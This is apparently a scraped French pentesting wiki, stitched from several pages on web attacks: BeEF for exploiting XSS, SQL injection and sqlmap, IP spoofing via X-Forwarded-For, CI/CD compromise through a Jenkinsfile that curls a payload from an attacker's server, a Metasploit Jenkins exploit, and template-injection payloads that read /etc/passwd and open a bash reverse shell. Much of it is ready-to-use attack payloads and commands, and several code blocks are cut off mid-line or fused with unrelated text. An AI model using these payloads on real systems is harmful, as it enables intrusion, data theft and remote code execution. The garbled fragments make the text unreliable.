Dans le cas où le caractère **"+"** ne serait pas pris en charge vous pouvez utiliser la fonction **concat**.
## Beef-XSS #### Présentation Cet outil permet à un attaquant d'exploiter des XSS afin d'en tirer profit. Voici les fonctionnalités proposées par **Beef** grâce à ses modules : - **Vol de cookie.** - **Empoisonnement du navigateur** pour capturer/modifier le trafic. - **Détection et infection avec RCE** des navigateurs vulnérables. Voici comment se présente l'interface web de contrôle de Beef pour l'attaquant : [](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/DwGimage.png) #### Installation Une **page github** du projet est dédiée à l'installation de Beef : [https://github.com/beefproject/beef/wiki/Installation](https://github.com/beefproject/beef/wiki/Installation) Vous pouvez aussi exécuter cette commande : ```bash sudo gem install bundler && sudo git clone https://github.com/beefproject/beef && cd beef && sudo apt install libssl-dev && rvm install "ruby-3.0.3" && sudo ./install && sudo bundle install ``` #### Manuel Avant de lancer Beef, il faut éditer le fichier **config.yaml** afin de définir l'utilisateur et le mot de passe dans la section **credentials** : ```json credentials: user: "beef" passwd: "beef1234" ``` Puis démarrez Beef grâce à cette commande : ```bash sudo ./beef ``` Quelque chose comme ça devrait s'afficher : ```bash [12:02:58][*] BeEF is loading. Wait a few seconds... [12:03:01][*] 8 extensions enabled: [12:03:01] | XSSRays [12:03:01] | Social Engineering [12:03:01] | Requester [12:03:01] | Proxy [12:03:01] | Network [12:03:01] | Events [12:03:01] | Demos [12:03:01] |_ Admin UI [12:03:01][*] 303 modules enabled. [12:03:01][*] 5 network interfaces were detected. [12:03:01][*] running on network interface: 127.0.0.1 [12:03:01] | Hook URL: http://127.0.0.1:3000/hook.js [12:03:01] |_ UI URL: http://127.0.0.1:3000/ui/panel [12:03:01][*] running on network interface: 192.168.2.30 [12:03:01] | Hook URL: http://192.168.2.30:3000/hook.js [12:03:01] |_ UI URL: http://192.168.2.30:3000/ui/panel [12:03:01][*] running on network interface: 172.17.0.1 [12:03:01] | Hook URL: http://172.17.0.1:3000/hook.js [12:03:01] |_ UI URL: http://172.17.0.1:3000/ui/panel [12:03:01][*] running on network interface: 192.168.188.1 [12:03:01] | Hook URL: http://192.168.188.1:3000/hook.js [12:03:01] |_ UI URL: http://192.168.188.1:3000/ui/panel [12:03:01][*] running on network interface: 192.168.192.1 [12:03:01] | Hook URL: http://192.168.192.1:3000/hook.js [12:03:01] |_ UI URL: http://192.168.192.1:3000/ui/panel [12:03:01][*] RESTful API key: d0739ac4656cd46389134e01cd48896b46b559d7 [12:03:01][!] [GeoIP] Could not find MaxMind GeoIP database: '/usr/share/GeoIP/GeoLite2-City.mmdb' [12:03:01][*] HTTP Proxy: http://127.0.0.1:6789 [12:03:01][*] BeEF server started (press control+c to stop) ``` Votre serveur de contrôle web Beef est disponible sur toutes vos interfaces sur le **port 3000** à l'adresse suivante : ```html http://localhost:3000/ui/authentication ``` On peut envoyer un payload de ce type pour infecter les utilisateurs qui se rendent sur la page : ```javascript ``` # [Exploitation/Web] SQL injection ## Introduction Certainement l'une des injections web les plus connues, la **SQLi** permet de modifier une requête SQL initiale afin d'effectuer des actions non prévues par le concepteur de l'application. Un attaquant pourrait exploiter cette vulnérabilité afin de contourner un système d'authentification ou récupérer le contenu d'une ou plusieurs tables de la base de données. [](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/Ktvimage.png) ## Exploitation manuelle Bien que des outils comme **SQLmap** permettent d'exploiter automatiquement les failles SQL, il est toujours intéressant de savoir les exploiter manuellement pour plusieurs raisons : - Comprendre le fonctionnement de ce que vous faites. - Éviter le bombardement de requêtes sur la cible. - Utiliser des fonctions non proposées par les outils automatisées. Pour manipuler manuellement les requêtes, je vous recommande d'utiliser **BurpSuite**. #### Tester l'injection Les injections SQL sont possibles lorsqu'un paramètre modifiable par l'utilisateur est vulnérable car le développeur n'a pas préparé la requête. Vous comprenez donc que l'injection SQL fonctionne donc aussi bien avec les paramètres utilisant la méthode **GET** que la méthode **POST**, seulement l'exploitation changera. On peut tester la vulnérabilité du paramètre grâce au caractère **'** qui devrait générer une erreur SQL qui s'affichera dans le cas où l'administrateur n'a pas désactiver le retour des erreurs : ```html http://monsitevulnerable.com/profil.php?id=id=1' ``` #### Contourner l'authentification Si un formulaire d'authentification est vulnérable, il est possible d'usurper le compte d'un utilisateur ou de l'administrateur sans connaître son mot de passe grâce à l'injection suivante : ```sql pass' OR 1=1 ;-- ``` #### Afficher les champs d'une table Il est aussi possible de dumper les tables. Remarque : on sera limité au nombre de champs affiché initialement sur la page ! ```sql 1 UNION SELECT 1,username,password FROM users ;-- ``` #### Time based Dans le cas où l'administrateur de l'application aurait désactivé l'affichage des erreurs SQL, nous ne pouvons pas afficher directement le résultat de nos requêtes SQL personnalisées sur la page. Cependant, cela ne signifie en aucun cas que la vulnérabilité est inexploitable ! Puisqu'il n'y a aucun moyen d'avoir un retour visuel, on peut utiliser la fonction **SLEEP()** qui permet de mettre un délai et ainsi vérifier que la requête aboutie ou n'aboutie pas. C'est assez rudimentaire mais efficace ! La fonction peut porter un autre nom selon le SGBD utilisé. Par exemple, pour PostGreSQL il s'agit de **PG\_SLEEP()**. Voici la syntaxe : ```sql 1;SELECT PG_SLEEP(2)-- ``` ## SqlMap #### Présentation Cet outil permet d'automatiser les injections SQL et peut vous faire gagner beaucoup de temps. #### Manuel Voici la syntaxe globale : ```bash sqlmap -u| **Options** | **Descriptifs** |
| --dump | Permet d'extraire les données sensibles. |
| --tables | Affiche les noms des tables dans la base de données. |
| --columns | Affiche les noms des colonnes d'une table. |
| --cookie=" " | Spécifie le cookie à utiliser pour l'authentification. |
| --technique=\[U|B\] | Définit la technique d'injection à utiliser (U pour Union-Based et B pour Blind). |
| --delay= | Définit un temps d'attente entre les requêtes pour contourner certaines protections. |
| --data=" " | Spécifie les données POST. |
| --level=\[1-5\] | Définit le niveau de tests de pénétration (de 1 à 5, 5 étant le plus agressif). |
| --dbms | Spécifie le type de SGBD utilisé. |
| --os-shell | Ouvre un shell sur le système d'exploitation hôte. |
| --users | Lance une attaque brute force pour trouver les utilisateurs. |
| --passwords | Lance une attaque brute force pour trouver les mots de passe. |
Pour tester toutes ces en-têtes automatiquement, vous pouvez utiliser le script **[fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)**.
# [Exploitation/Web] IP spoofing ## Introduction Il se peut qu'une ressource d'un site web soit protégé par un filtre d'adresse IP. Dans ce cas, il est parfois possible de contourner cette restriction en faisant croire au serveur que la requête provient d'une adresse IP légitime en modifiant l'en-tête. [](https://wiki.neopipe.fr/uploads/images/gallery/2023-11/2N3image.png) ## Manuel Depuis Burpsuite, on peut modifier les requêtes HTTP et ainsi, falsifier l'adresse IP source indiquée dans la requête. Pour cela, il suffit d'ajouter dans l'en-tête de la requête, le champ suivant : ``` X-Forwarded-For:Remplacer <SPOOFING\_IP> par l'adresse que vous souhaitez falsifier pour tromper le serveur.
# [Exploitation/Web] CI/CD ## Introduction Cette page décrit différentes exploitations de vulnérabilités dans le processus CI/CD qui peuvent être exploitées au profit d'un attaquant. [](https://wiki.neopipe.fr/uploads/images/gallery/2024-03/9WDimage.png) ## Techniques #### Build Process Dans le cas où vous auriez accès à un dépôt Git avec un accès à un **JenkinsFile**, vous pourriez le modifier pour prendre le contrôle de l'agent **Jenkins**. Pour cela, vous pouvez créer un fork du projet pour modifier le JenkinsFile de la sorte : ```yaml pipeline { agent any stages { stage('build') { steps { sh ''' curl http://Vous devez au préalable créer votre payload et l'héberger sur votre serveur web.
Vous pouvez ensuite faire un **Merge Request** pour lancer la pipeline et exécuter le payload.
#### Build server Si vous possédez les identifiants du serveur web **Jenkins**, vous pouvez utiliser Metasploit pour lancer une RCE : ``` msfconsole ``` ``` use exploit/multi/http/jenkins_script_console set target 1 set payload linux/x64/meterpreter/bind_tcp set password jenkins set username jenkins set RHOST jenkins.tryhackme.loc set targeturi / set rport 8080 run ``` # [Exploitation/Web] Encodage ## Introduction Lors de vos attaques web vous aurez besoin d'encoder vos payloads sous divers formats. Cette page liste des outils qui vous permettront de le faire. ## Manuel #### Urlencode Cet outil peut être installé sur les distributions Debian de cette façon : ```bash apt install gridsite-clients ``` Il permet d'encoder au format URL vos payloads directement depuis le shell : ``` urlencodeSi le résultat de l'opération vous est retourné (49), cela signifie que le champ injecté est vulnérable !
Puis pour exécuter une commande : ``` {{ config.__class__.__init__.__globals__['os'].popen('id').read() }} ``` Ou pour lire un fichier sur le serveur : ``` {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} ``` Et pour exécuter un reverse shell : ``` {{ ''.__class__.__mro__[1].__subclasses__()[59]("bash -c 'bash -i >& /dev/tcp/Ici, le paramètre xsl est passé via la méthode **GET** mais dans votre cas il pourrait s'agir d'un paramètre **POST** ou même d'un paramètre passé via le **User-Agent**.
#### XSS ```xml